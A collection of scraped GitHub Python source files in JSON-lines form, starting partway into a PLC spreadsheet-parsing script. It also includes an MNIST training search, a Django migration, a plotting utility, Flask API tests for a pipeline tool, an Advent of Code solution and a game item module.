     \n    data = []\n    \n    for row in ws.iter_rows(): # it brings a new method: iter_rows()\n        tmp_data = []\n    \n        for cell in row:\n            if cell.row > 2:\n                tmp_data.append(cell.internal_value)\n    \n        if len(tmp_data) > 0:\n            data.append(tmp_data)\n    \n    return data\n\ndef getUniqueAreas(full_data):\n    areas_list = []\n\n    for c in full_data:\n        flag = False\n         \n        for x in areas_list:\n            if x == c[6]:\n                flag = True\n        \n        if not flag:\n            areas_list.append(c[6])\n   \n    return areas_list\n\ndef getUniqueSLS(full_data):\n    u_sls_list = []\n\n    for c in full_data:\n        flag = False\n         \n        for x in u_sls_list:\n            if x == c[1]:\n                flag = True\n        \n        if not flag:\n            u_sls_list.append(c[1])\n   \n    return u_sls_list\n\ndef getSLSData(full_data):\n    sls_list = []\n    \n    for c in full_data:\n        sls_list.append([c[1], c[2], c[3], checkIntValue(c[4]), c[5]])\n    \n    return sls_list\n\ndef getModList(full_data):\n    mod_list = []\n    \n    for c in full_data:\n        flag = False\n         \n        for x in mod_list:\n            if x == c[7]:\n                flag = True\n        \n        if not flag:\n            mod_list.append(c[7])\n            \n    return mod_list\n\ndef getVTRList(full_data):\n    tmp_vtr_list = []\n     \n    for c in full_data:\n        c_mod_name = checkValue(c[7])\n        c_vtr_name = checkValue(c[15])\n        c_vtr_in = checkValue(c[17])\n        \n        if checkValue(c[24]) == 'Yes':\n            c_vtr_bp_flag =  True\n        else:\n            c_vtr_bp_flag =  False\n\n        tmp_vtr_list.append([c_mod_name, c_vtr_name, c_vtr_in])\n    \n    tmp_vtr_list2 = tmp_vtr_list\n    vtr_list = []\n    \n    for c in tmp_vtr_list:\n        c_mod_name = ''\n        c_vtr_name = ''\n        c_vtr_in = 1\n\n        for x in tmp_vtr_list2:\n            if (c[0] == x[0] and c[0] != '') and (c[1] == x[1] and c[1] != ''): \n                if int(x[2]) > int(c[2]):\n                    c_mod_name = c[0] \n                    c_vtr_name = c[1]\n                    c_vtr_in = int(x[2])\n        \n        if c_vtr_in > 1:\n            flag = True\n            \n            for q in vtr_list:\n                if q[0] == c_mod_name and q[1] == c_vtr_name and q[2] == c_vtr_in:\n                    flag = False\n            \n            if flag:\n                vtr_list.append([c_mod_name, c_vtr_name, c_vtr_in])\n\n    return vtr_list\n\ndef getVTRNOI(vtr_list, c_mod_name, c_vtr_name):\n    noi = 1\n    \n    if c_vtr_name[len(c_vtr_name) - 3: len(c_vtr_name)] == '_HH' or c_vtr_name[len(c_vtr_name) - 3: len(c_vtr_name)] == '_LL':\n        c_vtr_name = c_vtr_name[0:len(c_vtr_name) - 3]\n    elif c_vtr_name[len(c_vtr_name) - 5: len(c_vtr_name)] == '_DVTR':\n        c_vtr_name = c_vtr_name[0:len(c_vtr_name) - 5]\n\n    for c in vtr_list:\n        if c[0] == c_mod_name and c[1] == c_vtr_name:\n            noi = int(c[2])\n\n    return noi\n\ndef getBPRefList(full_data):\n    bp_ref_list = []\n    mod_list = getModList(full_data)\n    \n    for c in mod_list:\n        flag = False\n        \n        for x in full_data:\n            if x[7] == c and checkValue(x[24]) == 'Yes':\n                flag = True\n                break\n        \n        bp_ref_list.append([c, flag])\n\n    return bp_ref_list","repo_name":"zhestkovda/SIS-PLC","sub_path":"SIS/SIS Creator/SIS Creator/generate.py","file_name":"generate.py","file_ext":"py","file_size_in_byte":37619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"13983586069","text":"import numpy as np\r\nfrom layers import fc_layer, activate_layer, softmax_layer\r\nfrom network import fc_network\r\nfrom data_loader import MINIST\r\nfrom model_loader import model_loader\r\nfrom os.path import join\r\n\r\nif __name__ == '__main__':\r\n    \r\n    dataset = MINIST()\r\n    \r\n    # Search for the hyperparameters.\r\n    lr_set = [2e-3, 1e-3, 5e-4]\r\n    lamb_set = [.01, .001]\r\n    neural_num_set = [50, 100, 300]\r\n    \r\n    lowest_error = 1.0\r\n    best_paras = None\r\n    \r\n    with open(join('model', 'search_process.txt'), 'w') as f:\r\n        f.truncate()\r\n    \r\n    for lr in lr_set:\r\n        for lamb in lamb_set:\r\n            for neural_num in neural_num_set:\r\n                \r\n                net_work = fc_network(\r\n                    layers = {\r\n                        'fc1': fc_layer(in_dim=784, out_dim=neural_num, sigma=np.sqrt(2/(784+neural_num)), bias=True, drop=1),\r\n                        'activ1': activate_layer(type='tanh'),\r\n                        'fc2': fc_layer(in_dim=neural_num, out_dim=10, sigma=np.sqrt(2/(10+neural_num)), bias=True, drop=1),\r\n                        'softmax': softmax_layer()\r\n                        }\r\n                )                \r\n                    \r\n                print('\\n')\r\n                print('Parameters: ' + str((lr, lamb, neural_num)))\r\n                \r\n                error = net_work.train(max_iter=300000,\r\n                                       lr=lr,\r\n                                       dataset=dataset,\r\n                                       loss='log_loss',\r\n                                       lamb=lamb,\r\n                                       visualize_loss=False,\r\n                                       visualize_weights=False)\r\n                print('\\n')\r\n                print('One model finish. The error of validation is %5f' % error)\r\n                \r\n                with open(join('model', 'search_process.txt'), 'a') as f:\r\n                    f.write(str((lr, lamb, neural_num))+'\\n')\r\n                    f.write(str(error)+'\\n')\r\n                \r\n                if error < lowest_error:\r\n                    lowest_error = error\r\n                    best_paras = (lr, lamb, neural_num) \r\n                    print('\\n')\r\n                    print('Parameters update.')\r\n                    net_work.model_save('My_best_model')\r\n                \r\n    print(best_paras)\r\n    with open(join('model', 'best_paras.txt'), 'w') as f:\r\n        f.truncate()\r\n        f.write(str(best_paras))\r\n        f.write(str(lowest_error))","repo_name":"nlx0021/CV_Project1","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"72475225002","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('data_store', '0001_initial'),\n    ]\n\n    operations = [\n        migrations.AlterField(\n            model_name='sessiontag',\n            name='session',\n            field=models.ForeignKey(related_name=b'session_tags', to='data_store.Session', null=True),\n        ),\n    ]\n","repo_name":"liuhaodong/eeg-site","sub_path":"EEG/data_store/migrations/0002_auto_20141011_1648.py","file_name":"0002_auto_20141011_1648.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"17171548029","text":"\"\"\"\nA collection of utils for plotting.\n\"\"\"\nimport numpy as np\n\nfrom scipy.signal import savgol_filter\n\n\ndef tsplot(x, y, ax,\n           ci=68,\n           color=None,\n           deriv=0,\n           polyorder=3,\n           resample=None,\n           window_length=None):\n    \"\"\"Plot the data after applying Savitzky-Golay filter.\n\n    Arguments:\n    ----------\n        x : 2D np.array\n        y : 2D np.array\n            Each row should correspond to a time series.\n        ax : matplotlib axis object\n        ci : float or tuple of 2 floats (default: 68)\n            Quantile values to be plotted.\n        color : matplotlib color\n        deriv : int (default: 0)\n        polyorder : int (default :3)\n        resample : int or None (default: None)\n            Total number of points to resample.\n            If None, it is equal to `np.min(np.max(x, axis=1))`.\n    \"\"\"\n    assert len(x.shape) == len(y.shape) == 2\n\n    resample = resample or int(np.min(np.max(x, axis=1)))\n    x_interp = np.arange(1, resample)\n    y_interp = np.stack([\n        np.interp(x_interp, x_1d, y_1d)\n        for x_1d, y_1d in zip(x, y)\n    ])\n\n    if isinstance(ci, float) or isinstance(ci, int):\n        ci = (100. - ci) / 2.\n        ci = (ci, 100. - ci)\n    assert len(ci) == 2\n\n    if window_length is None:\n        window_length = int(0.01 * len(x))\n        window_length += 1 - (window_length % 2)\n\n    # Filter\n    y_filt = savgol_filter(y_interp,\n                           window_length=window_length,\n                           polyorder=polyorder,\n                           deriv=deriv,\n                           axis=-1)\n    y_low = np.percentile(y_filt, ci[0], axis=0)\n    y_high = np.percentile(y_filt, ci[1], axis=0)\n    y_mean = np.mean(y_filt, axis=0)\n\n    # Plot\n    ax.plot(x_interp, y_mean, color=color)\n    ax.fill_between(x_interp, y_low, y_high, color=color, alpha=0.3)\n\n    return ax\n","repo_name":"alshedivat/lola","sub_path":"notebooks/tournament/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1885,"program_lang":"python","lang":"en","doc_type":"code","stars":133,"dataset":"github-code","pt":"19"}
{"seq_id":"35323138267","text":"# Standard Library\nimport typing\nfrom unittest import mock\n\n# Third-party\nimport flask.testing\nimport pytest\n\n# Sematic\nfrom sematic.abstract_future import FutureState\nfrom sematic.api.tests.fixtures import (  # noqa: F401\n    make_auth_test,\n    mock_auth,\n    mock_requests,\n    test_client,\n)\nfrom sematic.db.models.resolution import Resolution, ResolutionStatus\nfrom sematic.db.models.run import Run\nfrom sematic.db.queries import (\n    get_graph,\n    get_resolution,\n    get_run,\n    save_resolution,\n    save_run,\n)\nfrom sematic.db.tests.fixtures import (  # noqa: F401\n    make_resolution,\n    persisted_resolution,\n    persisted_run,\n    pg_mock,\n    resolution,\n    run,\n    test_db,\n)\nfrom sematic.scheduling.external_job import JobType\nfrom sematic.scheduling.kubernetes import KubernetesExternalJob\n\ntest_get_resolution_auth = make_auth_test(\"/api/v1/resolutions/123\")\ntest_put_resolution_auth = make_auth_test(\"/api/v1/resolutions/123\", method=\"PUT\")\ntest_schedule_resolution_auth = make_auth_test(\n    \"/api/v1/resolutions/123/schedule\", method=\"POST\"\n)\ntest_cancel_resolution_auth = make_auth_test(\n    \"/api/v1/resolutions/123/cancel\", method=\"PUT\"\n)\ntest_rerun_resolution_auth = make_auth_test(\n    \"/api/v1/resolutions/123/rerun\", method=\"POST\"\n)\n\n\ndef mock_schedule(resolution, max_parallelism=None, rerun_from=None):  # noqa: F811\n    resolution.status = ResolutionStatus.SCHEDULED\n    resolution.external_jobs = (\n        KubernetesExternalJob.new(\n            try_number=0,\n            run_id=\"a\",\n            namespace=\"foo\",\n            job_type=JobType.driver,\n        ),\n    )\n    return resolution\n\n\n@pytest.fixture\ndef mock_schedule_resolution():\n    with mock.patch(\n        \"sematic.api.endpoints.resolutions.schedule_resolution\",\n        side_effect=mock_schedule,\n    ) as mock_schedule_resolution_:\n        yield mock_schedule_resolution_\n\n\ndef test_get_resolution_endpoint(\n    mock_auth,  # noqa: F811\n    persisted_resolution: Resolution,  # noqa: F811\n    test_client: flask.testing.FlaskClient,  # noqa: F811\n):\n    response = test_client.get(\n        \"/api/v1/resolutions/{}\".format(persisted_resolution.root_id)\n    )\n\n    payload = response.json\n    payload = typing.cast(typing.Dict[str, typing.Any], payload)\n\n    assert payload[\"content\"][\"root_id\"] == persisted_resolution.root_id\n\n    # Should have been scrubbed\n    assert payload[\"content\"][\"settings_env_vars\"] == {}\n\n\ndef test_put_resolution_endpoint(\n    mock_auth,  # noqa: F811\n    persisted_run,  # noqa: F811\n    test_client: flask.testing.FlaskClient,  # noqa: F811\n):\n    resolution = make_resolution(root_id=persisted_run.id)  # noqa: F811\n    response = test_client.put(\n        \"/api/v1/resolutions/{}\".format(resolution.root_id),\n        json={\"resolution\": resolution.to_json_encodable()},\n    )\n    response = test_client.get(\"/api/v1/resolutions/{}\".format(resolution.root_id))\n    encodable = response.json[\"content\"]  # type: ignore\n    encodable[\"status\"] = ResolutionStatus.FAILED.value\n\n    test_client.put(\n        \"/api/v1/resolutions/{}\".format(resolution.root_id),\n        json={\"resolution\": encodable},\n    )\n\n    read = get_resolution(resolution.root_id)\n    assert read.settings_env_vars == resolution.settings_env_vars\n    assert read.status == ResolutionStatus.FAILED.value\n\n\ndef test_get_resolution_404(\n    mock_auth, test_client: flask.testing.FlaskClient  # noqa: F811\n):\n    response = test_client.get(\"/api/v1/resolutions/unknownid\")\n\n    assert response.status_code == 404\n\n    payload = response.json\n    payload = typing.cast(typing.Dict[str, typing.Any], payload)\n\n    assert payload == dict(error=\"No resolutions with id 'unknownid'\")\n\n\ndef test_schedule_resolution_endpoint(\n    mock_auth,  # noqa: F811\n    persisted_resolution: Resolution,  # noqa: F811\n    test_client: flask.testing.FlaskClient,  # noqa: F811\n    mock_schedule_resolution: mock.MagicMock,\n):\n    response = test_client.post(\n        \"/api/v1/resolutions/{}/schedule\".format(persisted_resolution.root_id),\n        json={\"max_parallelism\": 3, \"rerun_from\": \"rerun_from_run_id\"},\n    )\n\n    payload = response.json\n    payload = typing.cast(typing.Dict[str, typing.Any], payload)\n\n    assert payload[\"content\"][\"root_id\"] == persisted_resolution.root_id\n    assert len(payload[\"content\"][\"external_jobs_json\"]) == 1\n    mock_schedule_resolution.assert_called_once()\n    scheduled_resolution = mock_schedule_resolution.call_args.kwargs[\"resolution\"]\n    assert isinstance(scheduled_resolution, Resolution)\n    assert scheduled_resolution.root_id == persisted_resolution.root_id\n    assert mock_schedule_resolution.call_args.kwargs[\"max_parallelism\"] == 3\n    assert (\n        mock_schedule_resolution.call_args.kwargs[\"rerun_from\"] == \"rerun_from_run_id\"\n    )\n\n\n@mock.patch(\"sematic.api.endpoints.resolutions.cancel_job\")\ndef test_cancel_resolution(\n    mock_cancel_job: mock.MagicMock,\n    persisted_resolution: Resolution,  # noqa: F811\n    test_client: flask.testing.FlaskClient,  # noqa: F811\n    test_db,  # noqa: F811\n    mock_auth,  # noqa: F811\n):\n    persisted_resolution.external_jobs = (\n        KubernetesExternalJob.new(\n            try_number=0,\n            run_id=\"a\",\n            namespace=\"foo\",\n            job_type=JobType.driver,\n        ),\n    )\n    save_resolution(persisted_resolution)\n\n    runs, _, __ = get_graph(\n        Run.root_id == persisted_resolution.root_id,\n        include_artifacts=False,\n        include_edges=False,\n    )\n    runs[0].external_jobs = (\n        KubernetesExternalJob.new(\n            try_number=0,\n            run_id=\"a\",\n            namespace=\"foo\",\n            job_type=JobType.worker,\n        ),\n    )\n    save_run(runs[0])\n\n    response = test_client.put(\n        f\"/api/v1/resolutions/{persisted_resolution.root_id}/cancel\"\n    )\n\n    assert response.status_code == 200\n\n    canceled_resolution = get_resolution(persisted_resolution.root_id)\n\n    assert canceled_resolution.status == ResolutionStatus.CANCELED.value\n\n    runs, _, __ = get_graph(\n        Run.root_id == canceled_resolution.root_id,\n        include_artifacts=False,\n        include_edges=False,\n    )\n\n    for canceled_run in runs:\n        assert canceled_run.future_state == FutureState.CANCELED.value\n\n    assert mock_cancel_job.call_count == 2\n\n\ndef test_rerun_resolution_endpoint(\n    persisted_resolution: Resolution,  # noqa: F811\n    test_client: flask.testing.FlaskClient,  # noqa: F811\n    test_db,  # noqa: F811\n    mock_auth,  # noqa: F811\n    mock_schedule_resolution: mock.MagicMock,\n):\n    response = test_client.post(\n        f\"/api/v1/resolutions/{persisted_resolution.root_id}/rerun\",\n        json={\"rerun_from\": persisted_resolution.root_id},\n    )\n\n    assert response.status_code == 200\n\n    payload = response.json\n    payload = typing.cast(typing.Dict[str, typing.Any], payload)\n\n    cloned_resolution = get_resolution(payload[\"content\"][\"root_id\"])\n\n    assert cloned_resolution.status == ResolutionStatus.SCHEDULED.value\n\n    run = get_run(cloned_resolution.root_id)  # noqa: F811\n\n    assert run.parent_id is None\n    assert run.future_state == FutureState.CREATED.value\n\n    mock_schedule_resolution.assert_called_once()\n    mock_schedule_resolution.call_args.kwargs[\n        \"rerun_from\"\n    ] == persisted_resolution.root_id\n","repo_name":"baris-unver/sematic","sub_path":"sematic/api/endpoints/tests/test_resolutions.py","file_name":"test_resolutions.py","file_ext":"py","file_size_in_byte":7285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"19"}
{"seq_id":"5355177039","text":"def part1(input, preamble) -> int:\n    possibleSums = []\n    i = 0\n    j = 0\n    while i < preamble:\n        for k in range(1, preamble):\n            possibleSums.append(input[i] + input[k])\n        i += 1\n    while input[i] in possibleSums and i < len(input):\n        possibleSums = possibleSums[preamble-1:]\n        j += 1\n        for k in range(j, i):\n            possibleSums.append(input[k] + input[i])\n        i += 1\n    return input[i]\n\ndef part2(input, preamble, invalid) -> int:\n    def getSumSmallestAndBiggest(input, min, max) -> (int, int, int):\n        total = 0\n        smallest = biggest = input[min]\n        for i in range(min, max + 1):\n            value = input[i]\n            total += value\n            if value < smallest:\n                smallest = value\n            elif value > biggest:\n                biggest = value\n        return (total, smallest, biggest)\n    for i in range (1, len(input)):\n        for j in range (i + 1, len(input)):\n            output = getSumSmallestAndBiggest(input, i, j) \n            if output[0] == invalid:\n                print(output[1], output[2])\n                return output[1] + output[2]\n\nf = open(\"input.txt\", \"r\")\ninput = f.read().splitlines()\nfor i in range(len(input)):\n    input[i] = int(input[i])\ninvalid = part1(input, 25)\nprint(invalid)\nprint(part2(input, 25, invalid))\nf.close()","repo_name":"DavidAkaFunky/AdventOfCode2020","sub_path":"Day09/day09.py","file_name":"day09.py","file_ext":"py","file_size_in_byte":1349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"72974344683","text":"from __future__ import annotations\n\nimport math\nfrom abc import ABC\nfrom types import SimpleNamespace\nfrom typing import Dict\n\nfrom nmmo.datastore.serialized import SerializedState\nfrom nmmo.lib.colors import Tier\nfrom nmmo.lib.log import EventCode\n\n# pylint: disable=no-member\nItemState = SerializedState.subclass(\"Item\", [\n  \"id\",\n  \"type_id\",\n  \"owner_id\",\n\n  \"level\",\n  \"capacity\",\n  \"quantity\",\n  \"melee_attack\",\n  \"range_attack\",\n  \"mage_attack\",\n  \"melee_defense\",\n  \"range_defense\",\n  \"mage_defense\",\n  \"health_restore\",\n  \"resource_restore\",\n  \"equipped\",\n\n  # Market\n  \"listed_price\",\n])\n\n# TODO: These limits should be defined in the config.\nItemState.Limits = lambda config: {\n  \"id\": (0, math.inf),\n  \"type_id\": (0, (config.ITEM_N + 1) if config.ITEM_SYSTEM_ENABLED else 0),\n  \"owner_id\": (-math.inf, math.inf),\n  \"level\": (0, 99),\n  \"capacity\": (0, 99),\n  \"quantity\": (0, math.inf), # NOTE: Ammunitions can be stacked infinitely\n  \"melee_attack\": (0, 100),\n  \"range_attack\": (0, 100),\n  \"mage_attack\": (0, 100),\n  \"melee_defense\": (0, 100),\n  \"range_defense\": (0, 100),\n  \"mage_defense\": (0, 100),\n  \"health_restore\": (0, 100),\n  \"resource_restore\": (0, 100),\n  \"equipped\": (0, 1),\n  \"listed_price\": (0, math.inf),\n}\n\nItemState.Query = SimpleNamespace(\n  table=lambda ds: ds.table(\"Item\").where_neq(\n    ItemState.State.attr_name_to_col[\"id\"], 0),\n\n  by_id=lambda ds, id: ds.table(\"Item\").where_eq(\n    ItemState.State.attr_name_to_col[\"id\"], id),\n\n  owned_by = lambda ds, id: ds.table(\"Item\").where_eq(\n    ItemState.State.attr_name_to_col[\"owner_id\"], id),\n\n  for_sale = lambda ds: ds.table(\"Item\").where_neq(\n    ItemState.State.attr_name_to_col[\"listed_price\"], 0),\n)\n\nclass Item(ItemState):\n  ITEM_TYPE_ID = None\n  _item_type_id_to_class: Dict[int, type] = {}\n\n  @staticmethod\n  def register(item_type):\n    assert item_type.ITEM_TYPE_ID is not None\n    if item_type.ITEM_TYPE_ID not in Item._item_type_id_to_class:\n      Item._item_type_id_to_class[item_type.ITEM_TYPE_ID] = item_type\n\n  @staticmethod\n  def item_class(type_id: int):\n    return Item._item_type_id_to_class[type_id]\n\n  def __init__(self, realm, level,\n              capacity=0,\n              melee_attack=0, range_attack=0, mage_attack=0,\n              melee_defense=0, range_defense=0, mage_defense=0,\n              health_restore=0, resource_restore=0):\n\n    super().__init__(realm.datastore, ItemState.Limits(realm.config))\n    self.realm = realm\n    self.config = realm.config\n\n    Item.register(self.__class__)\n\n    self.id.update(self.datastore_record.id)\n    self.type_id.update(self.ITEM_TYPE_ID)\n    self.level.update(level)\n    self.capacity.update(capacity)\n    # every item instance is created individually, i.e., quantity=1\n    self.quantity.update(1)\n    self.melee_attack.update(melee_attack)\n    self.range_attack.update(range_attack)\n    self.mage_attack.update(mage_attack)\n    self.melee_defense.update(melee_defense)\n    self.range_defense.update(range_defense)\n    self.mage_defense.update(mage_defense)\n    self.health_restore.update(health_restore)\n    self.resource_restore.update(resource_restore)\n    realm.items[self.id.val] = self\n\n  def destroy(self):\n    # NOTE: we may want to track the item lifecycle and\n    #   and see how many high-level items are wasted\n    if self.owner_id.val in self.realm.players:\n      self.realm.players[self.owner_id.val].inventory.remove(self)\n    self.realm.items.pop(self.id.val, None)\n    self.datastore_record.delete()\n\n  @property\n  def packet(self):\n    return {'item':             self.__class__.__name__,\n            'level':            self.level.val,\n            'capacity':         self.capacity.val,\n            'quantity':         self.quantity.val,\n            'melee_attack':     self.melee_attack.val,\n            'range_attack':     self.range_attack.val,\n            'mage_attack':      self.mage_attack.val,\n            'melee_defense':    self.melee_defense.val,\n            'range_defense':    self.range_defense.val,\n            'mage_defense':     self.mage_defense.val,\n            'health_restore':   self.health_restore.val,\n            'resource_restore': self.resource_restore.val,\n            }\n\n  def _level(self, entity):\n    # this is for armors, ration, and potion\n    # weapons and tools must override this with specific skills\n    return entity.level\n\n  def level_gt(self, entity):\n    return self.level.val > self._level(entity)\n\n  def use(self, entity) -> bool:\n    raise NotImplementedError\n\nclass Stack:\n  @property\n  def signature(self):\n    return (self.type_id.val, self.level.val)\n\nclass Equipment(Item):\n  @property\n  def packet(self):\n    packet = {'color': self.color.packet()}\n    return {**packet, **super().packet}\n\n  @property\n  def color(self):\n    if self.level == 0:\n      return Tier.BLACK\n    if self.level < 10:\n      return Tier.WOOD\n    if self.level < 20:\n      return Tier.BRONZE\n    if self.level < 40:\n      return Tier.SILVER\n    if self.level < 60:\n      return Tier.GOLD\n    if self.level < 80:\n      return Tier.PLATINUM\n    return Tier.DIAMOND\n\n  def unequip(self, equip_slot):\n    assert self.equipped.val == 1\n    self.equipped.update(0)\n    equip_slot.unequip()\n\n  def equip(self, entity, equip_slot):\n    assert self.equipped.val == 0\n    if self._level(entity) < self.level.val:\n      return\n\n    self.equipped.update(1)\n    equip_slot.equip(self)\n\n    if self.config.LOG_MILESTONES and entity.is_player and self.config.LOG_VERBOSE:\n      for (label, level) in [\n        (f\"{self.__class__.__name__}_Level\", self.level.val),\n        (\"Item_Level\", entity.equipment.item_level),\n        (\"Melee_Attack\", entity.equipment.melee_attack),\n        (\"Range_Attack\", entity.equipment.range_attack),\n        (\"Mage_Attack\", entity.equipment.mage_attack),\n        (\"Melee_Defense\", entity.equipment.melee_defense),\n        (\"Range_Defense\", entity.equipment.range_defense),\n        (\"Mage_Defense\", entity.equipment.mage_defense)]:\n\n        self.realm.log_milestone(label, level, f'EQUIPMENT: {label} {level}')\n\n  def _slot(self, entity):\n    raise NotImplementedError\n\n  def use(self, entity):\n    assert self in entity.inventory, \"Item is not in entity's inventory\"\n    assert self.listed_price == 0, \"Listed item cannot be used\"\n    assert self._level(entity) >= self.level.val, \"Entity's level is not sufficient to use the item\"\n\n    if self.equipped.val:\n      self.unequip(self._slot(entity))\n    else:\n      # always empty the slot first\n      self._slot(entity).unequip()\n      self.equip(entity, self._slot(entity))\n      self.realm.event_log.record(EventCode.EQUIP_ITEM, entity, item=self)\n\nclass Armor(Equipment, ABC):\n  def __init__(self, realm, level, **kwargs):\n    defense = realm.config.EQUIPMENT_ARMOR_BASE_DEFENSE + \\\n              level*realm.config.EQUIPMENT_ARMOR_LEVEL_DEFENSE\n    super().__init__(realm, level,\n                     melee_defense=defense,\n                     range_defense=defense,\n                     mage_defense=defense,\n                     **kwargs)\nclass Hat(Armor):\n  ITEM_TYPE_ID = 2\n  def _slot(self, entity):\n    return entity.inventory.equipment.hat\nclass Top(Armor):\n  ITEM_TYPE_ID = 3\n  def _slot(self, entity):\n    return entity.inventory.equipment.top\nclass Bottom(Armor):\n  ITEM_TYPE_ID = 4\n  def _slot(self, entity):\n    return entity.inventory.equipment.bottom\n\n\nclass Weapon(Equipment):\n  def __init__(self, realm, level, **kwargs):\n    super().__init__(realm, level, **kwargs)\n    self.attack = (\n      realm.config.EQUIPMENT_WEAPON_BASE_DAMAGE +\n      level*realm.config.EQUIPMENT_WEAPON_LEVEL_DAMAGE)\n\n  def _slot(self, entity):\n    return entity.inventory.equipment.held\n\nclass Spear(Weapon):\n  ITEM_TYPE_ID = 5\n\n  def __init__(self, realm, level, **kwargs):\n    super().__init__(realm, level, **kwargs)\n    self.melee_attack.update(self.attack)\n\n  def _level(self, entity):\n    return entity.skills.melee.level.val\nclass Bow(Weapon):\n  ITEM_TYPE_ID = 6\n\n  def __init__(self, realm, level, **kwargs):\n    super().__init__(realm, level, **kwargs)\n    self.range_attack.update(self.attack)\n\n  def _level(self, entity):\n    return entity.skills.range.level.val\nclass Wand(Weapon):\n  ITEM_TYPE_ID = 7\n\n  def __init__(self, realm, level, **kwargs):\n    super().__init__(realm, level, **kwargs)\n    self.mage_attack.update(self.attack)\n\n  def _level(self, entity):\n    return entity.skills.mage.level.val\n\n\nclass Tool(Equipment):\n  def __init__(self, realm, level, **kwargs):\n    defense = realm.config.EQUIPMENT_TOOL_BASE_DEFENSE + \\\n        level*realm.config.EQUIPMENT_TOOL_LEVEL_DEFENSE\n    super().__init__(realm, level,\n                      melee_defense=defense,\n                      range_defense=defense,\n                      mage_defense=defense,\n                      **kwargs)\n\n  def _slot(self, entity):\n    return entity.inventory.equipment.held\nclass Rod(Tool):\n  ITEM_TYPE_ID = 8\n  def _level(self, entity):\n    return entity.skills.fishing.level.val\nclass Gloves(Tool):\n  ITEM_TYPE_ID = 9\n  def _level(self, entity):\n    return entity.skills.herbalism.level.val\nclass Pickaxe(Tool):\n  ITEM_TYPE_ID = 10\n  def _level(self, entity):\n    return entity.skills.prospecting.level.val\nclass Axe(Tool):\n  ITEM_TYPE_ID = 11\n  def _level(self, entity):\n    return entity.skills.carving.level.val\nclass Chisel(Tool):\n  ITEM_TYPE_ID = 12\n  def _level(self, entity):\n    return entity.skills.alchemy.level.val\n\n\nclass Ammunition(Equipment, Stack):\n  def __init__(self, realm, level, **kwargs):\n    super().__init__(realm, level, **kwargs)\n    self.attack = (\n      realm.config.EQUIPMENT_AMMUNITION_BASE_DAMAGE +\n      level*realm.config.EQUIPMENT_AMMUNITION_LEVEL_DAMAGE)\n\n  def _slot(self, entity):\n    return entity.inventory.equipment.ammunition\n\n  def fire(self, entity) -> int:\n    assert self.equipped.val > 0, 'Ammunition not equipped'\n    assert self.quantity.val > 0, 'Used ammunition with 0 quantity'\n\n    self.quantity.decrement()\n\n    if self.quantity.val == 0:\n      entity.inventory.remove(self)\n      # delete this empty item instance from the datastore\n      self.destroy()\n\n    return self.damage\n\nclass Whetstone(Ammunition):\n  ITEM_TYPE_ID = 13\n\n  def __init__(self, realm, level, **kwargs):\n    super().__init__(realm, level, **kwargs)\n    self.melee_attack.update(self.attack)\n\n  def _level(self, entity):\n    return entity.skills.melee.level.val\n\n  @property\n  def damage(self):\n    return self.melee_attack.val\n\nclass Arrow(Ammunition):\n  ITEM_TYPE_ID = 14\n\n  def __init__(self, realm, level, **kwargs):\n    super().__init__(realm, level, **kwargs)\n    self.range_attack.update(self.attack)\n\n  def _level(self, entity):\n    return entity.skills.range.level.val\n\n  @property\n  def damage(self):\n    return self.range_attack.val\n\nclass Runes(Ammunition):\n  ITEM_TYPE_ID = 15\n\n  def __init__(self, realm, level, **kwargs):\n    super().__init__(realm, level, **kwargs)\n    self.mage_attack.update(self.attack)\n\n  def _level(self, entity):\n    return entity.skills.mage.level.val\n\n  @property\n  def damage(self):\n    return self.mage_attack.val\n\n\n# NOTE: Each consumable item (ration, potion) cannot be stacked,\n#   so each item takes 1 inventory space\nclass Consumable(Item):\n  def use(self, entity) -> bool:\n    assert self in entity.inventory, \"Item is not in entity's inventory\"\n    assert self.listed_price == 0, \"Listed item cannot be used\"\n    assert self._level(entity) >= self.level.val, \"Entity's level is not sufficient to use the item\"\n\n    self.realm.log_milestone(\n      f'Consumed_{self.__class__.__name__}', self.level.val,\n      f\"PROF: Consumed {self.level.val} {self.__class__.__name__} \"\n      f\"by Entity level {entity.attack_level}\",\n      tags={\"player_id\": entity.ent_id})\n\n    self.realm.event_log.record(EventCode.CONSUME_ITEM, entity, item=self)\n\n    self._apply_effects(entity)\n    entity.inventory.remove(self)\n    self.destroy()\n    return True\n\nclass Ration(Consumable):\n  ITEM_TYPE_ID = 16\n\n  def __init__(self, realm, level, **kwargs):\n    restore = 0\n    if realm.config.PROFESSION_SYSTEM_ENABLED:\n      restore = realm.config.PROFESSION_CONSUMABLE_RESTORE(level)\n    super().__init__(realm, level, resource_restore=restore, **kwargs)\n\n  def _apply_effects(self, entity):\n    entity.resources.food.increment(self.resource_restore.val)\n    entity.resources.water.increment(self.resource_restore.val)\n\nclass Potion(Consumable):\n  ITEM_TYPE_ID = 17\n\n  def __init__(self, realm, level, **kwargs):\n    restore = 0\n    if realm.config.PROFESSION_SYSTEM_ENABLED:\n      restore = realm.config.PROFESSION_CONSUMABLE_RESTORE(level)\n    super().__init__(realm, level, health_restore=restore, **kwargs)\n\n  def _apply_effects(self, entity):\n    entity.resources.health.increment(self.health_restore.val)\n    entity.poultice_consumed += 1\n    entity.poultice_level_consumed = max(\n      entity.poultice_level_consumed, self.level.val)\n","repo_name":"dmarx/neural-mmo-fresh","sub_path":"nmmo/systems/item.py","file_name":"item.py","file_ext":"py","file_size_in_byte":12849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
